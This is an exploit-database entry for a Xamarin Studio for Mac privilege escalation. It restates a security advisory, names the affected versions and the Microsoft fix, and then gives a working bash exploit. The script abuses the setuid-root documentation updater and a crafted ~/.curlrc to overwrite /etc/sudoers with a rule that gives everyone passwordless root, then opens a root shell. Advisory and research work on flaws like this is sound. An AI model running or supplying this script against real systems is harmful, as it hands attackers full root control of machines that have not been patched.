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Xamarin Studio for Mac 6.2.1 (build 3)/6.3 (build 863) - Privilege Escalation Vulnerability
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Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html Abstract Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges. Tested versions This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863). Fix Microsoft released a new version of Xamarin.iOS that addresses this issue: - Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359) #!/bin/bash # WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful) #target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard rm -rf ~/Library/Developer/Shared/Documentation/DocSets cat << __EOF > /private/tmp/sudoers %everyone ALL=(ALL) NOPASSWD: ALL __EOF cat << __EOF > ~/.curlrc url=file:///private/tmp/sudoers output=/private/etc/sudoers __EOF echo echo "*** press CRL+C when the download starts ***" $target echo sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -' rm -f /private/tmp/sudoers ~/.curlrc # 0day.today [2024-10-06] #